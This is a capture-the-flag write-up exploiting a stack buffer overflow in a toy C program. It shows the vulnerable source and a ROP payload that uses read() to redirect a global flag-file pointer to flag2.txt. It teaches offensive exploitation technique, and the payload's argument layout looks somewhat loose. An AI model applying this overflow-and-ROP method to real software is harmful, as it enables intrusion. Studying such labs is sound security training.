Global Variable Overwrite

Exploit Write-up: Buffer Overflow with Global Variable Control

Challenge

Overview

In this challenge, we are given a C program that contains a buffer overflow vulnerability in the func() function. The goal is to exploit this vulnerability to print the contents of the correct flag file, flag2.txt, even though the binary is hardcoded to open flag1.txt.

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Source Code Summary

static const char* flagfile = "flag1.txt";

static void giveFlag(void) {
    char flag[64];
    FILE* fp = fopen(flagfile, "r");
    if (!fp) {
        perror(flagfile);
        return;
    }
    fgets(flag, sizeof(flag), fp);
    fclose(fp);
    printf("Here is your first flag: %s\n", flag);
}

In giveFlag(), the program uses a global variable flagfile to open the flag file. Our goal is to make it open flag2.txt instead.

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Vulnerability

In func():

void func(void) {
    bool didPurchase = false;
    char input[50];

    printf("Debug info: Address of input buffer = %p\n", input);
    read(STDIN_FILENO, input, 1024);

    if (didPurchase) {
        printf("Thank you for purchasing Hackersoft Powersploit!\n");
        giveFlag();
    } else {
        printf("This program has not been purchased.\n");
    }
}

• input is a 50-byte buffer.
• The program reads 1024 bytes into it using read(), which causes a stack-based buffer overflow.
• didPurchase is right before input on the stack, so it can be overwritten.
• After that, the return address can also be overwritten.

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Exploitation Plan

1. Overwrite didPurchase to true so that giveFlag() is called.

2. Overwrite the global variable flagfile to point to "flag2.txt" instead of "flag1.txt".

   Step-by-Step Exploitation

   Step 1: Overwrite didPurchase

   • Since didPurchase is right above input, the first byte of overflow can flip it to non-zero (true).

     Step 2: Overwrite flagfile

   • flagfile is a global pointer. So we can overwrite it with a pointer to "flag2.txt" stored in our buffer.

     Step 3: Use ROP to overwrite flagfile

• Since we control the return address, we can craft a ROP chain to write the address of "flag2.txt" into the flagfile global variable.
• ROP gadget Used:

0x08049400 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret

Payload:

payload = flat(
	cyclic(63), # bytes to fill buffer up to EIP
	# write flag2.txt to writable memory
	read_, # read function address from giveflag function
	gadget, #  pop ebx ; pop esi ; pop edi ; pop ebp ; ret
	0, # stdin
	bss, # buf address where is will be store (writeable memory)
	11, # len
	0x0, # junk
	#overwrite the flagfile variable pointer
	read_, # read function address from giveflag function
	gadget, #  pop ebx ; pop esi ; pop edi ; pop ebp ; ret
	0, # stdin
	flagfile_addr_ptr, # hardcoded flagfile addr
	0x0,
	giveFlag, # giveflag function ptr
)

Full Exploit Script

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Lessons Learned

• Global variables can be overwritten indirectly through buffer overflows.